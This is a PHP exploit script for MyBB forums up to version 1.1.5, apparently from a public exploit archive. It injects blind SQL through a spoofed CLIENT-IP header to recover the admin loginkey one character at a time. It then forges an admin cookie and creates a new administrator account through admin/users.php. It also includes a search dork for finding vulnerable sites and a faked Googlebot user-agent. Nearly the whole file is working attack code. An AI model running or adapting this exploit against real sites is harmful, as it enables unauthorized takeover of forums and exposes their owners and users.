mybb-sql-115.php.txt

`!/usr/bin/php -q -d short_open_tag=on  
<?  
echo "MyBulletinBoard (MyBB) <= 1.1.5 'CLIENT-IP' SQL injection / create new admin exploit\n";  
echo "by rgod [email protected]\n";  
echo "site: http://retrogod.altervista.org\n";  
echo "dork, version specific: \"Powered By MyBB\" \"2006 MyBB Group\"\n\n";  
/*  
works regardless of php.ini settings  
*/  
if ($argc<3) {  
echo "Usage: php ".$argv[0]." host path OPTIONS\n";  
echo "host: target server (ip/hostname)\n";  
echo "path: path to MyBB\n";  
echo "Options:\n";  
echo " -T[prefix] specify a table prefix different from default (mybb_)\n";  
echo " -u[number] specify a user id other than 1 (usually admin)\n";  
echo " -p[port]: specify a port other than 80\n";  
echo " -P[ip:port]: specify a proxy\n";  
echo " -d: disclose table prefix (reccomended)\n";  
echo "Example:\r\n";  
echo "php ".$argv[0]." localhost /MyBB/ -d\r\n";  
echo "php ".$argv[0]." localhost /MyBB/ -Tmy_\r\n";  
die;  
}  
/* software site: http://www.mybboard.com/  
  
vulnerable code in inc/functions.php near lines 1292-1320:  
  
...  
function getip() {  
global $_SERVER;  
if($_SERVER['HTTP_X_FORWARDED_FOR'])  
{  
if(preg_match_all("#[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}#s", $_SERVER['HTTP_X_FORWARDED_FOR'], $addresses))  
{  
while(list($key, $val) = each($addresses[0]))  
{  
if(!preg_match("#^(10|172\.16|192\.168)\.#", $val))  
{  
$ip = $val;  
break;  
}  
}  
}  
}  
if(!$ip)  
{  
if($_SERVER['HTTP_CLIENT_IP'])  
{  
$ip = $_SERVER['HTTP_CLIENT_IP'];  
}  
else  
{  
$ip = $_SERVER['REMOTE_ADDR'];  
}  
}  
return $ip;  
}  
...  
  
you can spoof your ip address through the CLIENT-IP http header...  
as result you can inject sql statements in class_session.php at lines 36-68:  
by calling the main index.php script  
...  
function init()  
{  
global $ipaddress, $db, $mybb, $noonline;  
//  
// Get our visitors IP  
//  
$this->ipaddress = $ipaddress = getip();  
  
//  
// User-agent  
//  
$this->useragent = $_SERVER['HTTP_USER_AGENT'];  
if(strlen($this->useragent) > 100)  
{  
$this->useragent = substr($this->useragent, 0, 100);  
}  
  
//  
// Attempt to find a session id in the cookies  
//  
if($_COOKIE['sid'])  
{  
$this->sid = addslashes($_COOKIE['sid']);  
}  
else  
{  
$this->sid = 0;  
}  
  
//  
// Attempt to load the session from the database  
//  
$query = $db->query("SELECT sid,uid FROM ".TABLE_PREFIX."sessions WHERE sid='".$this->sid."' AND ip='".$this->ipaddress."'");  
...  
  
injection is blind, but you can ask true-false questions to the database to  
retrieve the admin loginkey.  
Through that you can build an admin cookie and create a new admin user through  
the admin/users.php script.  
Also you can disclose table prefix.  
  
--------------------------------------------------------------------------------  
  
  
-*****************************************************************************-  
* *  
* Italia - Germania 2-0, al 114' forse il più bel gol che abbia mai visto *  
* grazie Grosso! *  
* *  
-*****************************************************************************-  
*/  
  
error_reporting(0);  
ini_set("max_execution_time",0);  
ini_set("default_socket_timeout",5);  
  
function quick_dump($string)  
{  
$result='';$exa='';$cont=0;  
for ($i=0; $i<=strlen($string)-1; $i++)  
{  
if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))  
{$result.=" .";}  
else  
{$result.=" ".$string[$i];}  
if (strlen(dechex(ord($string[$i])))==2)  
{$exa.=" ".dechex(ord($string[$i]));}  
else  
{$exa.=" 0".dechex(ord($string[$i]));}  
$cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}  
}  
return $exa."\r\n".$result;  
}  
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';  
function sendpacketii($packet)  
{  
global $proxy, $host, $port, $html, $proxy_regex;  
if ($proxy=='') {  
$ock=fsockopen(gethostbyname($host),$port);  
if (!$ock) {  
echo 'No response from '.$host.':'.$port; die;  
}  
}  
else {  
$c = preg_match($proxy_regex,$proxy);  
if (!$c) {  
echo 'Not a valid proxy...';die;  
}  
$parts=explode(':',$proxy);  
echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";  
$ock=fsockopen($parts[0],$parts[1]);  
if (!$ock) {  
echo 'No response from proxy...';die;  
}  
}  
fputs($ock,$packet);  
if ($proxy=='') {  
$html='';  
while (!feof($ock)) {  
$html.=fgets($ock);  
}  
}  
else {  
$html='';  
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {  
$html.=fread($ock,1);  
}  
}  
fclose($ock);  
#debug  
#echo "\r\n".$html;  
}  
  
function make_seed()  
{  
list($usec, $sec) = explode(' ', microtime());  
return (float) $sec + ((float) $usec * 100000);  
}  
srand(make_seed());  
$anumber = rand(1,99999);  
  
$host=$argv[1];  
$path=$argv[2];  
$port=80;  
$prefix="mybb_";  
$user_id="1";//admin  
$proxy="";  
$dt=0;  
for ($i=3; $i<$argc; $i++){  
$temp=$argv[$i][0].$argv[$i][1];  
if ($temp=="-p")  
{  
$port=str_replace("-p","",$argv[$i]);  
}  
if ($temp=="-P")  
{  
$proxy=str_replace("-P","",$argv[$i]);  
}  
if ($temp=="-T")  
{  
$prefix=str_replace("-T","",$argv[$i]);  
}  
if ($temp=="-u")  
{  
$user_id=str_replace("-u","",$argv[$i]);  
}  
if ($temp=="-d")  
{  
$dt=1;  
}  
}  
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}  
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}  
  
if ($dt)  
{  
$sql="'suntzuuuu/*";  
echo "sql -> ".$sql."\r\n";  
$packet ="GET ".$p."index.php HTTP/1.0\r\n";  
$packet.="CLIENT-IP: $sql\r\n";  
$packet.="Host: ".$host."\r\n";  
$packet.="Connection: Close\r\n\r\n";  
sendpacketii($packet);  
if (eregi("You have an error in your SQL syntax",$html))  
{  
$temp=explode("sessions",$html);  
$temp2=explode(" ",$temp[0]);  
$prefix=$temp2[count($temp2)-1];  
echo "prefix -> ".$prefix;if ($prefix==""){echo "[no prefix]";}echo"\n";  
}  
else  
{  
echo "unable to disclose table prefix...\n";  
}  
sleep(1);  
}  
  
$chars[0]=0;//null  
$chars=array_merge($chars,range(48,57)); //numbers  
$chars=array_merge($chars,range(65,90));//A-Z letters  
$chars=array_merge($chars,range(97,122));//a-f letters  
$j=1;  
$loginkey="";  
while (!strstr($loginkey,chr(0)))  
{  
for ($i=0; $i<=255; $i++)  
{  
if (in_array($i,$chars))  
{  
$sql="99999999' UNION SELECT ASCII(SUBSTRING(loginkey,".$j.",1))=".$i.",0 FROM ".$prefix."users WHERE uid=1/*";  
echo "sql -> ".$sql."\r\n";  
$packet ="GET ".$p."index.php HTTP/1.0\r\n";  
$packet.="CLIENT-IP: $sql\r\n";  
$packet.="Host: ".$host."\r\n";  
$packet.="Connection: Close\r\n\r\n";  
sendpacketii($packet);  
if (eregi("Hello There",$html)) {$loginkey.=chr($i);echo "loginkey -> ".$loginkey."[???]\r\n";sleep(1);break;}  
}  
if ($i==255) {die("Exploit failed...");}  
}  
$j++;  
}  
$cookie="mybbuser=1_".trim(str_replace(chr(0),"",$loginkey))."; mybbadmin=1_".trim(str_replace(chr(0),"",$loginkey)).";";  
echo "admin cookie -> ".$cookie."\r\n";  
  
  
$data='-----------------------------7d62702f250530  
Content-Disposition: form-data; name="action";  
  
do_add  
-----------------------------7d62702f250530  
Content-Disposition: form-data; name="userusername";  
  
suntzu'.$anumber.'  
-----------------------------7d62702f250530  
Content-Disposition: form-data; name="newpassword";  
  
suntzu'.$anumber.'  
-----------------------------7d62702f250530  
Content-Disposition: form-data; name="email";  
  
[email protected]  
-----------------------------7d62702f250530  
Content-Disposition: form-data; name="usergroup";  
  
4  
-----------------------------7d62702f250530  
Content-Disposition: form-data; name="additionalgroups[]";  
  
4  
-----------------------------7d62702f250530  
Content-Disposition: form-data; name="displaygroup";  
  
4  
-----------------------------7d62702f250530  
Content-Disposition: form-data; name="Add User";  
  
Add User  
-----------------------------7d62702f250530--  
';  
  
$packet="POST ".$p."admin/users.php HTTP/1.0\r\n";  
$packet.="User-Agent: Googlebot/2.1\r\n";  
$packet.="Host: ".$host."\r\n";  
$packet.="Content-Type: multipart/form-data; boundary=---------------------------7d62702f250530\r\n";  
$packet.="Content-Length: ".strlen($data)."\r\n";  
$packet.="Cookie: ".$cookie."\r\n";  
$packet.="Connection: Close\r\n\r\n";  
$packet.=$data;  
sendpacketii($packet);  
if (eregi("The user has successfully been added",$html))  
{  
echo "exploit succeeded... now login as admin\n";  
echo "with username \"suntzu".$anumber."\" and password \"suntzu".$anumber."\"\n";  
}  
else  
{  
echo "something goes wrong...\n";if(!$dt)echo "you may try -d option\n";  
}  
?>  
  
`